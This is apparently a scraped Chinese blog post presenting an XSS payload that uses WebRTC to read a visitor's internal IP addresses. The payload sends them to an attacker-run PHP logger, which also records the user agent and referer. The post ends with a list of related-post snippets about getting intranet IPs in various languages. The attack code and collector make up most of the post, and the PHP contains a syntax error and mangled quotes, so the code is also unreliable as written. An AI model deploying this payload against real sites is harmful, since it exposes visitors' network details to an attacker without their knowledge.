xss-利用webrtc获取内网IP

xss.js
function getIPs(callback){
                var ip_dups = {};

                //compatibility for firefox and chrome
                var RTCPeerConnection = window.RTCPeerConnection
                    || window.mozRTCPeerConnection
                    || window.webkitRTCPeerConnection;
                var useWebKit = !!window.webkitRTCPeerConnection;

                //bypass naive webrtc blocking using an iframe
                if(!RTCPeerConnection){
                    //NOTE: you need to have an iframe in the page right above the script tag
                    //
                    //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
                    //<script>...getIPs called in here...
                    //
                    var win = iframe.contentWindow;
                    RTCPeerConnection = win.RTCPeerConnection
                        || win.mozRTCPeerConnection
                        || win.webkitRTCPeerConnection;
                    useWebKit = !!win.webkitRTCPeerConnection;
                }

                //minimal requirements for data connection
                var mediaConstraints = {
                    optional: [{RtpDataChannels: true}]
                };

                var servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

                //construct a new RTCPeerConnection
                var pc = new RTCPeerConnection(servers, mediaConstraints);

                function handleCandidate(candidate){
                    //match just the IP address
                    var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/
                    var ip_addr = ip_regex.exec(candidate)[1];

                    //remove duplicates
                    if(ip_dups[ip_addr] === undefined)
                        callback(ip_addr);

                    ip_dups[ip_addr] = true;
                }

                //listen for candidate events
                pc.onicecandidate = function(ice){

                    //skip non-candidate events
                    if(ice.candidate)
                        handleCandidate(ice.candidate.candidate);
                };

                //create a bogus data channel
                pc.createDataChannel("");

                //create an offer sdp
                pc.createOffer(function(result){

                    //trigger the stun server request
                    pc.setLocalDescription(result, function(){}, function(){});

                }, function(){});

                //wait for a while to let everything done
                setTimeout(function(){
                    //read candidate info from local description
                    var lines = pc.localDescription.sdp.split(‘\n‘);

                    lines.forEach(function(line){
                        if(line.indexOf(‘a=candidate:‘) === 0)
                            handleCandidate(line);
                    });
                }, 1000);
            }

            //insert IP addresses into the page
getIPs(function(ip){    var url="http://192.168.80.133:81/aaa.php?ip="+ip;
    var xmlhttp1=new XMLHttpRequest(); 
    xmlhttp1.open("GET", url, true);
    xmlhttp1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlhttp1.send(null);  });

server端:

<?php
$ip=$_GET[‘ip‘];
$time=date("j F, Y, g:i a");
$agent = $_SERVER[‘HTTP_USER_AGENT‘];
$referer=getenv(‘HTTP_REFERER‘);
$text = ‘ip:‘ =.$ip."\r\n".‘Time:‘.$time."\r\n".‘User Agent:‘.$agent."\r\n".‘Referer:‘.$referer."\r\n";
$file = fopen(‘vb.php‘ , ‘a+‘);
fwrite($file,$text);
fclose($file);
?>
时间: 2024-08-29 19:35:32

xss-利用webrtc获取内网IP的相关文章

nodejs中获取内网ip地址

今天同事有个需求,希望用nodejs里的web服务器的对应的站点可以支持内网访问,后来发现修改express里的hostname属性为自己的内网ip就可以了.但是问题是,我们的机器都是自动获取内网ip,那么这次写死的hostname下次基本上就不能用了,于是我们想到了在nodejs里动态获取内网ip,并且把值赋给express的open方法就可以了,于是我按照这个思路开工了. 我们先了解怎么获取内网ip,网上的通用方法我试了下,在我机器里是无效的,调试了下才发现了它这个不是完全通用的,于是我针对

Python获取内网IP

Python 获取本机内网IP 本文记录使用Python获取本机IP的两种方法. 通过hostname来获取本机IP import socket print(socket.gethostbyname(socket.gethostname())) 此方法是先获取hostname,然后在通过hostname来查看本机的IP.不推荐此方法,因为若是在/etc/hosts中将hostnam设置为127.0.0.1,那么获取到的就是127.0.0.1,而非本机的真实IP. 通过UDP获取本机IP impo

vue实现获取内网ip和外网ip

1.内网IP 注意:有的浏览器获取到的是IPv4地址,有的是IPv6地址 <template> <section class="p-10"> <h1>{{ ip }}</h1> </section> </template> <script> export default { data() { return { ip: '' }; }, methods: { getUserIP(onNewIP) { le

获取本机外网ip和内网ip

获取本机外网ip 1 //获取本机的公网IP 2 public static string GetIP() 3 { 4 string tempip = ""; 5 try 6 { 7 WebRequest request = WebRequest.Create("http://ip.qq.com/"); 8 request.Timeout = 10000; 9 WebResponse response = request.GetResponse(); 10 Stre

js获取设备内网ip

可以直接使用,不需要导入其他配置 看代码 1 <script> 2 //获取内网ip 3 var RTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection; 4 if (RTCPeerConnection) ( 5 function () { 6 var rtc = new RTCPeerConnection({iceServers:

根据Request获取客户端IP 内网IP及外网IP

在JSP里,获取客户端的IP地址的方法是:request.getRemoteAddr() ,这种方法在大部分情况下都是有效的.但是在通过了Apache,Squid等反向代理软件就不能获取到客户端的真实IP地址了.如果使用了反向代理软件,将http://192.168.1.110:2046/ 的URL反向代理为http://www.xxx.com/ 的URL时,用request.getRemoteAddr() 方法获取的IP地址是:127.0.0.1 或 192.168.1.110 ,而并不是客户

C#获取内网和外网IP

写了个小客户端,里面用到了获取内网和外网的IP地址,代码如下: // InnerIP var ipHost = Dns.Resolve(Dns.GetHostName()); var ipaddress = ipHost.AddressList[0]; innerIP = ipaddress.ToString(); /// <summary> /// 获得客户端外网IP地址 /// </summary> /// <returns>IP地址</returns>

如何判断自己IP是内网IP还是外网IP

tcp/ip协议中,专门保留了三个IP地址区域作为私有地址,其地址范围如下: 10.0.0.0/8:10.0.0.0-10.255.255.255  172.16.0.0/12:172.16.0.0-172.31.255.255  192.168.0.0/16:192.168.0.0-192.168.255.255 使用保留地址的网络只能在内部进行通信,而不能与其他网络互连.如果要与外部通信,那么必须通过网关与外部通信,这里使用了NAT, NAPT技术就是用来保证通信的代理机制. 另外,一些宽带

linux获取外网ip

引言:目前获取ip的方法中,ifconfig和ip获取函数得到的都是内网ip.有时候需要获取外网ip,目前通用的做法,是向外部服务器发送请求,解析外部服务器响应,从而得到的自己的外网ip.linux下的 curl可以替我们完成这些工作,当然,不怕麻烦的话,可以自己分析http协议,自己实现以上过程.如果熟悉python的话,那就更简单了,就像我们所知道的,python总是有现成的库函数可供我们调用.一下总结几种获取外网ip的方法,以供查询,资料来源互联网. 参看资料: http://www.cn